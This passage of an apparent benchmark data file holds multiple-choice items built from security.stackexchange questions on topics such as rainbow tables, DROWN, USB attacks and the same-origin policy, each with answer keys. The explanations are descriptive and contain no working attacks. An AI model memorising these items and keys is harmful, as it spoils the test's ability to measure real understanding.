as possible for the attacker while not being intolerably slow for the honest...", "B": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "C": "Maybe the lesson for children should be less about how to use tools to manage a password, and more about understanding why managing passwords is important? Let them write their passwords in a notebook. Have fun with devising a method for obfuscation in case the notebook is lost. Teach them about backups- keeping a copy someplace safe. In my experience, kids and old people are a lot alike when it comes to password (mis)management Until they were skilled enough to manage their own password database, I also kept the kids logins in a \"family KeePass\". This is the same one...", "D": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/214492/password-management-for-kids-whats-a-good-way-to-start"} {"id": "cybersecurity_137098", "domain": "cybersecurity", "question_title": "Should I be concerned if the "FBI" has logged onto my Ubuntu VPS?", "question_body": "Yesterday, I was performing a bit of general maintenance on a VPS of mine, using the IPMI console my host provided. Upon setting up SSH keys again via the IPMI console, I logged in via SSH and was shocked to see this: Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 2.6.32-042stab116.2 x86_64) Documentation: https://help.ubuntu.com/ Last login: Sat Sep 17 04:39:57 2016 from ic.fbi.gov Immediately, I contacted my hosting company. They said that they didn't know why this might be, and that it's possible the hostname was spoofed. I did a bit more digging, and resolved ic.fbi.gov to an IP address. I then ran this on the system: last -i This returned my IP address, and then two other IP addresses which were unknown to me. I geoIP'd these two IP addresses. One of them was a VPN and the other was a server from a hosting company in the state of Washington. Again, the IP that I resolved ic.fbi.gov to was not on the list. Do you think I should be concerned/worried about the \"FBI\" obtaining access to my VPS? Or is it just a hacker that spoofed the hostname?", "question_score": 169, "question_tags": ["linux", "ssh", "spoofing", "system-compromise"], "choices": {"A": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "The known_hosts file lets the client authenticate the server, to check that it isn't connecting to an impersonator. The authorized_keys file lets the server authenticate the user. Server authentication One of the first things that happens when the SSH connection is being established is that the server sends its public key to the client, and proves (thanks to public-key cryptography ) to the client that it knows the associated private key. This authenticates the server: if this part of the protocol is successful, the client knows that the server is who it claims it is. The client may check that...", "D": "An IP address can be set up in DNS to resolve to any host name, by whoever is in control of that IP address. For example, if I am in control of the netblock 203.0.113.128/28, then I can set up 203.0.113.130 to reverse-resolve to presidential-desktop.oval-office.whitehouse.gov . I don't need control of whitehouse.gov to do this, though it can help in some situations (particularly, with any software that checks to make sure reverse and forward resolution matches ). That wouldn't mean that the president of the United States logged into your VPS. If someone has access to your system, they can..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/137098/should-i-be-concerned-if-the-fbi-has-logged-onto-my-ubuntu-vps"} {"id": "cybersecurity_379", "domain": "cybersecurity", "question_title": "What are rainbow tables and how are they used?", "question_body": "Where can I find one? Is there a pot of gold at the end? How do I protect against them? From the Area51 proposal This question was IT Security Question of the Week . Read the Sep 09, 2011 blog entry for more details or submit your own Question of the Week.", "question_score": 168, "question_tags": ["cryptography", "hash", "attacks", "attack-prevention", "rainbow-table"], "choices": {"A": "Rainbow Tables are commonly confused with another, simpler technique that leverages a compute time-storage tradeoff in password recover: hash tables. Hash tables are constructed by hashing each word in a password dictionary. The password-hash pairs are stored in a table, sorted by hash value. To use a hash table, simple take the hash and perform a binary search in the table to find the original password, if it's present. Rainbow Tables are more complex. Constructing a rainbow table requires two things: a hashing function and a reduction function. The hashing function for a given set of Rainbow Tables must match...", "B": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "C": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could...", "D": "What is the Poodle vulnerability ? The \"Poodle\" vulnerability, released on October 14th, 2014 , is an attack on the SSL 3.0 protocol. It is a protocol flaw, not an implementation issue; every implementation of SSL 3.0 suffers from it. Please note that we are talking about the old SSL 3.0, not TLS 1.0 or later. The TLS versions are not affected (neither is DTLS). In a nutshell: when SSL 3.0 uses a block cipher in CBC mode, the encryption process for a record uses padding so that the data length is a multiple of the block size. For instance,..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/379/what-are-rainbow-tables-and-how-are-they-used"} {"id": "cybersecurity_21168", "domain": "cybersecurity", "question_title": "How does Amazon bill me without the CVC / CVV / CVV2?", "question_body": "The card in question is a VISA, if that's of any importance. I've noticed this only on Amazon. All other sites I've purchased something from, ever , have needed the CVC code for the card. However, I know I never entered the CVC on Amazon when I added my card to it, and this has been bugging me ever since. How do they successfully charge the card without the CVC code?", "question_score": 167, "question_tags": ["credit-card"], "choices": {"A": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "B": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "C": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "D": "That code isn't necessary. This may cause more fraud and more chargebacks, but Amazon keeps those numbers low so that they can offer a faster shopping experience such as one-click. The only thing necessary to make a purchase is the card number and, in all but rare cases, expiration date, whether in number form or magnetic. Most systems require more information (such as matching full name, bank phone number, physical billing address with zip code, et al) so that they can deal with fraud and/or chargebacks, and sometimes this is enforced by the issuing bank."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/21168/how-does-amazon-bill-me-without-the-cvc-cvv-cvv2"} {"id": "cybersecurity_24195", "domain": "cybersecurity", "question_title": "How do you explain the necessity of "nuke it from orbit" to management and users?", "question_body": "When a machine has been infected with malware, most of us here immediately identify the appropriate action as \"nuke it from orbit\" - i.e. wipe the system and start over. Unfortunately, this is often costly for a company, especially if backups are configured in a less-than-optimal fashion. This can produce resistance from management and users who just want to carry on using the machine for work. After all, as far as they're concerned, they can \"just run AV over it\" and everything will be fine. How do you explain the problem to management and users of a non-technical nature? I could easily produce a technical reason, but I'm having trouble coming up with the appropriate wording for non-technical users. I'd especially appreciate any way of speaking that the recipient can identify with, e.g. appealing to a manager's sense of risk management.", "question_score": 167, "question_tags": ["malware", "antivirus", "risk-management", "user-education", "system-compromise"], "choices": {"A": "WannaCry attacks are initiated using an SMBv1 remote code execution vulnerability in Microsoft Windows OS. The EternalBlue exploit has been patched by Microsoft on March 14 and made publicly available through the \"Shadowbrokers dump\" on April 14th, 2017. However, many companies and public organizations have not yet installed the patch to their systems. The Microsoft patches for legacy versions of Windows were released last week after the attack. How to prevent WannaCry infection? Make sure that all hosts have enabled endpoint anti-malware solutions. Install the official Windows patch (MS17-010) https://technet.microsoft.com/en-us/library/security/ms17-010.aspx , which closes the SMB Server vulnerability used in this...", "B": "Originally from serverfault. Thanks to Robert Moir (RobM) It's hard to give specific advice from what you've posted here but I do have some generic advice based on a post I wrote ages ago back when I could still be bothered to blog. Don't Panic First things first, there are no \"quick fixes\" other than restoring your system from a backup taken prior to the intrusion, and this has at least two problems. It's difficult to pinpoint when the intrusion happened. It doesn't help you close the \"hole\" that allowed them to break in last time, nor deal with the...", "C": "In my experience management doesn't like to listen to clever analogies. Depending on the person they care about the bottom line in dollars or hours of productivity. I would explain: The actual bottom line is that a compromise of our data will cost the company approximately X dollars + Y hours to recover. This is Z% likely to happen given the malware that is on this machine. A new install will cost A dollars + B hours to recover. You pick the appropriate action. It's short and clear and doesn't really leave them any room to argue. They will clearly...", "D": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/24195/how-do-you-explain-the-necessity-of-nuke-it-from-orbit-to-management-and-users"} {"id": "cybersecurity_187912", "domain": "cybersecurity", "question_title": "What does it mean to "burn a zero-day"?", "question_body": "I noticed a comment on this answer where another user said ...but it requires risking burning a 0day, which people are not always all that willing to do. I did an Internet Search for the phrase \"burning a 0day\" (and similar permutations like 0 day, zero day, etc) and not much came back. It's obvious that \"burn\" means \"use up\" in this case. I understand most of what the user meant, but probably not all of why it was important (aka context). I'm looking for a canonical answer, with some reasoning about why \"burning a zero-day\" is an expensive thing. Mr Robot s01e06 touches on this when Elliot and Darlene start to argue about what went wrong in their attempted hack. I found some other people on this SE using the same terminology: Answer: https://security.stackexchange.com/a/184541/71932 Answer: https://security.stackexchange.com/a/184217/71932 Answer: https://security.stackexchange.com/a/162416/71932 Answer: https://security.stackexchange.com/a/175535/71932 Answer: https://security.stackexchange.com/a/182288/71932 Comment on this answer: Do drive-by attacks exist in modern browsers?", "question_score": 166, "question_tags": ["terminology", "zero-day"], "choices": {"A": "I was the one who wrote the comment you quoted. Quick answer: A 0day is burned when the exploit is used too often or haphazardly, resulting in it being discovered and patched. Virtually every time a 0day is used, it risks being burned. Using a 0day more sparingly and cautiously can increase its shelf life. The idiom intends to compare a 0day to a non-renewable resource like combustible fuel that loses its value when used up. This likely originates from the idiom burn your bridges : To destroy one's path, connections, reputation, opportunities, etc., particularly intentionally. What is a 0day?...", "B": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/187912/what-does-it-mean-to-burn-a-zero-day"} {"id": "cybersecurity_115461", "domain": "cybersecurity", "question_title": "I found unknown PHP code on my server. How do I de-obfuscate the code?", "question_body": "We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on Information Security Meta, and many people want these posts to stay. However, nearly every single post about obfuscated PHP can be answered in almost the same way. I think we can condense the majority of the methods for de-obfuscating hacked files into one single question & answer thread. This leads to the question many people are asking: how do I de-obfuscate malicious PHP code that I found on my server, how did it happen, and what do I do?!", "question_score": 164, "question_tags": ["php", "incident-response", "obfuscation", "websites"], "choices": {"A": "Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer. Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves. Common tools that aid in deobfuscation UnPHP . This is a link to the Wayback Machine archive of the site. It appears that there may be malware at the actual site as at 2024-11-29. This greatly aids in de-obfuscating scripts that have nested obfuscation in excess of 100 nested functions. In many...", "B": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "C": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "D": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/115461/i-found-unknown-php-code-on-my-server-how-do-i-de-obfuscate-the-code"} {"id": "cybersecurity_185908", "domain": "cybersecurity", "question_title": "Why is Mother’s Maiden Name still used as a security question?", "question_body": "From time to time, some web sites asks to enter a security question and an answer for it. The question list is standard and it usually includes \"What is your mother's maiden name?\". Some people use their mother's real maiden name so that they are sure they can remember what to provide when asked (e.g. as part of the process to recover the account). This means that this is information is fixed for a very long period of time. If it happens that some web application is hacked and such an answer is associated with an e-mail address (or worse, with personally identifiable information), it can potentially create a vulnerability for other web applications. Also, mother's maiden name might be shared in public space. Assuming above issues with this security question (or any other security question that relies on a constant within one's life): Why is Mother’s Maiden Name still used as a security question?", "question_score": 164, "question_tags": ["authentication", "secret-questions"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "Google Authenticator supports both the HOTP and TOTP algorithms for generating one-time passwords. With HOTP, the server and client share a secret value and a counter, which are used to compute a one time password independently on both sides. Whenever a password is generated and used, the counter is incremented on both sides, allowing the server and client to remain in sync. TOTP essentially uses the same algorithm as HOTP with one major difference. The counter used in TOTP is replaced by the current time. The client and server remain in sync as long as the system times remain the...", "C": "Because people are lazy and/or incompetent. And, well, you know, the Internet is full of chimpanzees . I would argue that all security questions are bad, but using the mother's maiden name is exceptionally bad: At least in Sweden, I can find out anyone's maiden name just with a simple call to the tax office. It is literally public information. It's 2018, and fairly common for couples to adopt the bride's name when getting married. Your mothers maiden name is then your surname. Great. Luis Casillas rightly adds: There are dozens of countries, with billions of inhabitants between them, where...", "D": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/185908/why-is-mother-s-maiden-name-still-used-as-a-security-question"} {"id": "cybersecurity_8264", "domain": "cybersecurity", "question_title": "Why is the same origin policy so important?", "question_body": "I can't really fully understand what same origin domain means. I know it means that when getting a resource from another domain (say a JS file) it will run from the context of the domain that serves it (like Google Analytics code), which means it can't modify the data or read the data on the domain that \"includes the resource\". So if domain a.com is embedding a js file from google.com in its source, that js will run from google.com and it can't access the DOM\\cookies\\any other element on a.com -- am I right? Here is a definition for the same origin policy which I can't really understand: The same-origin policy is a key mechanism implemented within browsers that is designed to keep content that came from different origins from interfering with each other. Basically, content received from one website is allowed to read and modify other content received from the same site but is not allowed to access content received from other sites. What does that really mean? Can you please give me a real life example? Another question is: what is the purpose of Origin header and how do cross domain requests still exist? Why doesn't it influence the security or the same origin policy?", "question_score": 163, "question_tags": ["web-application", "web-browser", "javascript", "same-origin-policy"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "C": "Why is the same origin policy important? Assume you are logged into Facebook and visit a malicious website in another browser tab. Without the same origin policy JavaScript on that website could do anything to your Facebook account that you are allowed to do. For example read private messages, post status updates, analyse the HTML DOM-tree after you entered your password before submitting the form. But of course Facebook wants to use JavaScript to enhance the user experience. So it is important that the browser can detect that this JavaScript is trusted to access Facebook resources. That's where the same...", "D": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important"} {"id": "cybersecurity_116139", "domain": "cybersecurity", "question_title": "What is DROWN and how does it work?", "question_body": "There is a new recent attack \"on TLS\" named \"DROWN\" . I understand that it appears to use bad SSLv2 requests to recover static (certificate) keys. My question is: How? How can you recover static encryption or signature keys using SSLv2? Bonus questions: How can I prevent the attack from applying to me as a server admin? How could the attack spawn in the first place?", "question_score": 161, "question_tags": ["tls", "openssl", "attack-prevention"], "choices": {"A": "This is commonly known as a capability URL / secret URL. It's secure in modern websites but not suitable for all applications and requires significant care to use . You can find an excellent overview of their advantages, risks and best practices in this page by W3C . It's meaningless to talk about security without specifying a threat model. Here are a couple that come to mind: 1: A passive attacker on the network (eavesdroping) 2: An active attacker on the network (can change packets at will, mitm, etc) 3: A shoulder-surfer 4: An attacker with physical access to your...", "B": "To understand the attack, one must recall Bleichenbacher's attack from the late 20th century. In that attack, the attacker uses the target server as an oracle . When using RSA-based key exchange, the client is supposed to send a secret value (the \"pre-master secret\") encrypted with the server's public key, using PKCS#1 v1.5 padding (called \"type 2\"). Bleichenbacher's attack relied on sending carefully crafted values in lieu of a properly encrypted message, and observe the server's reaction. The server might respond (most of the time) with an error saying \"I processed that but it did not yield a proper PKCS#1...", "C": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "D": "The analogy of the bank and bank employee You call the bank to request a new bank account, to make an appointment - whatever. Somehow you and the bank make sure that you are who you are, and the bank is actually the bank. This is the TLS process that secures the connection between you and the bank, and we assume this is handled properly. The roles in this play The bank: a webserver The bank employee: the OpenSSL service for that server You (the bank robber): a bot fetching all it can get from that server Staying connected -..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/116139/what-is-drown-and-how-does-it-work"} {"id": "cybersecurity_102873", "domain": "cybersecurity", "question_title": "How can USB sticks be dangerous?", "question_body": "We all know the story of the USB drive left outside a power plant which was found by a worker and inserted into a computer to see the contents which then allowed a hack to ensue. Here is my question, how? I get that code is executed but how? I would really like to be able to do this (for my own curiosity of course). I have always had a good grasp on security how to make things secure etc etc but things like viruses, trojans, USB drivers... how are they activated with little human interaction? I would really like to learn about these things, I am a programmer/sys admin so would like to knock up a script but having never been taught or never have done it I don't know how or where to begin. I would really like a big discussion on this with as much information as possible.", "question_score": 160, "question_tags": ["malware", "virus", "usb-drive"], "choices": {"A": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "B": "Take a look at this USB keyboard : \"But that's not a keyboard! That's an USB drive, silly!\" Actually, no. It looks like a USB drive to you, but when it gets connected to a computer, it will report that it is a USB keyboard. And the moment it is installed, it will start typing key sequences you programmed on it beforehand. Any operating system I know automatically trusts USB keyboards and installs them as trusted input devices without requiring any user interaction the moment they are connected. There are various payloads available for it. For example, there is one...", "C": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "D": "I think the safest option for you would be to use Qubes OS with its built in DisposableVM s functionality, and its “ Convert to Trusted PDF ” tool. What is Qubes OS? Qubes is an operating system where it's all based on virtual machines. You can think of it as if you had different isolated ‘computers’ inside yours. So that way you can compartmentalize your digital life into different domains, so that you can have a ‘computer’ where you only do work related stuff, another ‘computer’ that is offline and where you store your password database and your PGP..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/102873/how-can-usb-sticks-be-dangerous"} {"id": "cybersecurity_127092", "domain": "cybersecurity", "question_title": "Hardening Linux desktop machine against people from my household", "question_body": "I am looking to make a clean install of a Debian system on my home desktop. To clarify, I am switching from Windows and wish to use it as my day-to-day home OS - I'm not going to be running any servers or anything like that. I also have reason to believe that some members of my household (who have physical access to my machine) would try to gain access to it, and look through my data or possibly even install a keylogger. For the purpose of this question, please ignore the social aspects, except for the fact that I cannot act openly confrontational, so e.g. locking my room to prevent anyone accessing my PC is not an option. The people I want to protect against are technologically literate; they know their way around linux even if they may lack much experience with it, and if something can be found with some googling and takes maybe an hour or two of messing around then it's most likely going to get attempted. That said, I am pretty certain that acquiring specialist equipment is not something they would bother with, which means that I don't have to worry about most hardware attacks, e.g. a keyboard keylogger or bug on my mobo / RAM sniffer / whatever. One other thing is that I have a Windows 7 system to which they have admin access (so it can be considered compromised). This is one of the reasons I am switching to Linux; however, I'd like to keep a dual-boot system rather than removing Windows outright. I am aware that this would allow an attacker to outright nuke my Linux partition, and that is a risk I'm willing to take. I am not concerned with securing my Windows system. I am aware it's compromised and don't really care what happens to it. As I mentioned, other people have accounts on my Windows system and occasionally use it (for legitimate reasons!). I am certainly looking to secure my Linux installation, but preventing access to Windows has no point unless it contributes to the security of the Linux part of my machine. In fact, I'd rather avoid limiting access to Windows if possible because I don't want to appear paranoid or create conflict in the household. Full-disk encryption will prevent anyone from actually accessing my data from outside my Linux installation itself, which should then take care of both the Windows system and even make booting from a USB drive mostly useless (I am quite certain that the people in question do not have the resources or the motivation to decrypt a well-encrypted drive). I will also need to password-protect the single-user mode, of course. What other things would I need to do to secure my system? I am handy with the command line and willing to get my hands dirty, but I have limited Linux experience and fragmentary knowledge of computer security. The choice of Debian is largely arbitrary and I would have no problem trying out a different distro if it would be better in my case. If there's anything I've missed, or if you have tips on things I mentioned (e.g. best practices for disk encryption?), then I would be glad to hear them. I do not believe this question is a duplicate because all of the other questions I found on securing Linux on this site concern themselves with remote attackers and protection against viruses and exploits. They certainly have good answers but that is not the kind of information I am looking for here. Another question has been brought to my attention when my post was flagged as duplicate. However, that one asks in general whether their machine is secure when others have physical access to it; the answers to it generally boil down to \"Physical access = game over\" and provide some tips to mitigate various attacks (including things such as rearview mirrors on your monitor). Many of those tips are not applicable here, since I am aware that unlimited physical access means the machine isn't mine anymore in theory, and hence I provide some limitations to the attackers in my threat model which fit my personal scenario.", "question_score": 160, "question_tags": ["linux", "privacy", "physical-access"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "Use a strong and difficult password for the root user. Secondly, always login and work from another user with no administrative rights (and also a strong password). Enable the BIOS password option. Every time you power on your computer, the BIOS itself will ask you for a password before even booting on. It will also prevent everyone from applying changes to the BIOS setup. Encrypt every partition of your hard drive (check cryptsetup for Debian - if it can't encrypt you Windows partition, too, use TrueCrypt (from Windows for your Windows)) Watch out for external hardware devices connected on your...", "C": "The short answer is yes. The long answer is also yes. /dev/urandom yields data which is indistinguishable from true randomness, given existing technology. Getting \"better\" randomness than what /dev/urandom provides is meaningless, unless you are using one of the few \"information theoretic\" cryptographic algorithm, which is not your case (you would know it). The man page for urandom is somewhat misleading, arguably downright wrong, when it suggests that /dev/urandom may \"run out of entropy\" and /dev/random should be preferred; the only instant where /dev/urandom might imply a security issue due to low entropy is during the first moments of a...", "D": "You are touching a 